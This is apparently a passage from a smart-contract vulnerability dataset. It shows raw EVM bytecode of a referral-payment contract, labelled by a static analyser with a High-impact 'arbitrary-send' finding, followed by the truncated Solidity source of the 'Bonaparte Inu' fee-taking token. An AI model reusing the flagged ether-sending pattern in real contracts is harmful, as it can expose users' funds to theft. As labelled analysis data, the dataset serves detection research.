ff16815260200191505060405180910390f35b3480156111ca57600080fd5b506111f7600480360360208110156111e157600080fd5b8101908080359060200190929190505050613f14565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561124557600080fd5b5061124e613f47565b6040518082815260200191505060405180910390f35b61126c613f4d565b005b34801561127a57600080fd5b50611283614384565b6040518082815260200191505060405180910390f35b3480156112a557600080fd5b506112e8600480360360208110156112bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061438a565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b6113186143c1565b005b34801561132657600080fd5b5061132f6147f8565b6040518082815260200191505060405180910390f35b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602e54341461147e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b611486614a29565b600060196000600c54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600260008154809291906001019190505550604051806060016040528060011515815260200160025481526020016000815250915081601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360196000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc602e549081150290604051600060405180830381858888f1935050505090508015611720576001601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106116b1576001600c600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600142604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600142604051808381526020018281526020019250505060405180910390a2505050565b60065481565b602080528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601d6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60196020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60276020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b60186020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611950576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b60315434146119c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6119cf614a29565b6000601f6000600f54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600560008154809291906001019190505550604051806060016040528060011515815260200160055481526020016000815250915081601e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601f6000600554815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6031549081150290604051600060405180830381858888f1935050505090508015611c69576001601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410611bfa576001600f600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600442604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600442604051808381526020018281526020019250505060405180910390a2505050565b60105481565b600a5481565b601f6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16611dcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b6034543414611e43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b611e4b614a29565b600060256000601254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600860008154809291906001019190505550604051806060016040528060011515815260200160085481526020016000815250915081602460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360256000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6034549081150290604051600060405180830381858888f19350505050905080156120e5576001602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106120765760016012600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600742604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600742604051808381526020018281526020019250505060405180910390a2505050565b60296020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b600f5481565b60286020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16612279576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b602f5434146122f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b6122f8614a29565b6000601b6000600d54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008154809291906001019190505550604051806060016040528060011515815260200160035481526020016000815250915081601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601b6000600354815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc602f549081150290604051600060405180830381858888f1935050505090508015612592576001601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410612523576001600d600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600242604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600242604051808381526020018281526020019250505060405180910390a2505050565b60085481565b600b5481565b60226020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff166126f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b603554341461276a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b612772614a29565b600060276000601354815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600960008154809291906001019190505550604051806060016040528060011515815260200160095481526020016000815250915081602660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360276000600954815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6035549081150290604051600060405180830381858888f1935050505090508015612a0c576001602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061299d5760016013600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600842604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600842604051808381526020018281526020019250505060405180910390a2505050565b600047905090565b601c6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b602c6020528060005260406000206000915090505481565b601b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b601e6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60236020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60388181548110612b6f57fe5b90600052602060002090600502016000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b601a6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60095481565b60246020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60145481565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615612ce9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f557365722045786973747300000000000000000000000000000000000000000081525060200191505060405180910390fd5b600081118015612cfb57506001548111155b612d6d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f496e636f727265637420726566657272616c204944000000000000000000000081525060200191505060405180910390fd5b602d543414612de4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b612dec614a4c565b600160008154809291906001019190505550604051806080016040528060011515815260200160015481526020018381526020016000815250905080601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff0219169083151502179055506020820151816001015560408201518160020155606082015181600301559050503360176000600154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016016600060176000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154016016600060176000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061307d6001336147fe565b6017600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f788c06d2405ae89dd3f0528d38be7691289474d72176408bc2c2406dc5e342f1426040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60155481565b60055481565b60176020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60266020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b60015481565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16613282576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b60365434146132f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b613301614a29565b600060296000601454815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600a600081548092919060010191905055506040518060600160405280600115158152602001600a5481526020016000815250915081602860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360296000600a54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6036549081150290604051600060405180830381858888f193505050509050801561359b576001602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061352c5760016014600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600942604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600942604051808381526020018281526020019250505060405180910390a2505050565b60166020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154905084565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff166136f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b603354341461376d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b613775614a29565b600060236000601154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600760008154809291906001019190505550604051806060016040528060011515815260200160075481526020016000815250915081602260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360236000600754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6033549081150290604051600060405180830381858888f1935050505090508015613a0f576001602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106139a05760016011600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600642604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600642604051808381526020018281526020019250505060405180910390a2505050565b60035481565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16613b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b6030543414613baa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b613bb2614a29565b6000601d6000600e54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600460008154809291906001019190505550604051806060016040528060011515815260200160045481526020016000815250915081601c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033601d6000600454815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6030549081150290604051600060405180830381858888f1935050505090508015613e4c576001601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015410613ddd576001600e600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600342604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600342604051808381526020018281526020019250505060405180910390a2505050565b60045481565b60216020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60256020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e5481565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1661400f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b6037543414614086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b61408e614a29565b6000602b6000601554815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600b600081548092919060010191905055506040518060600160405280600115158152602001600b5481526020016000815250915081602a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff021916908315150217905550602082015181600101556040820151816002015590505033602b6000600b54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6037549081150290604051600060405180830381858888f1935050505090508015614328576001602a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106142b95760016015600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600a42604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600a42604051808381526020018281526020019250505060405180910390a2505050565b60075481565b602a6020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154905083565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16614483576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f55736572204e6f7420526567697374657265640000000000000000000000000081525060200191505060405180910390fd5b60325434146144fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e636f72726563742056616c7565000000000000000000000000000000000081525060200191505060405180910390fd5b614502614a29565b600060216000601054815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600660008154809291906001019190505550604051806060016040528060011515815260200160065481526020016000815250915081602060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160010155604082015181600201559050503360216000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008090508173ffffffffffffffffffffffffffffffffffffffff166108fc6032549081150290604051600060405180830381858888f193505050509050801561479c576001602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506003602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541061472d5760016010600082825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8481618b66a5bdb9dafcf5399da7af45bcb127ca77a372a11bcc23dc52ce2033600542604051808381526020018281526020019250505060405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff167fcb07244260cf1d494c557a355f7b7dd3663a109c736b84fdef66b8d839cfa216600542604051808381526020018281526020019250505060405180910390a2505050565b60115481565b600060176000601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008090506000809050602c60008681526020019081526020016000205490508273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050915081156149b2573373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fce7dc747411ac40191c5335943fcc79d8c2d8c01ca5ae83d9fed160409fa61208742604051808381526020018281526020019250505060405180910390a360048510156149b1576001601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154106149a7576149a260018601846147fe565b6149b0565b6149af6149c9565b5b5b5b816149c2576149c185846147fe565b5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc614a0c612a68565b9081150290604051600060405180830381858888f1935050505050565b604051806060016040528060001515815260200160008152602001600081525090565b6040518060800160405280600015158152602001600081526020016000815260200160008152509056fea2646970667358221220ec2543d6f8521d5d3367d03e833208341ee62d3f28a3964e57ed42aaaff168c564736f6c63430006010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,139 |
0xc24912af2cc663afff6d070f135632addd543aaa | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BonaparteInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bonaparte Inu";
string private constant _symbol = "BINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x936EaD371Edc1a1e49550781b20Dda6c9c5eA499);
address payable private _marketingAddress = payable(0x936EaD371Edc1a1e49550781b20Dda6c9c5eA499);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 690000 * 10**9;
uint256 public _maxWalletSize = 690000 * 10**9;
uint256 public _swapTokensAtAmount = 690 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
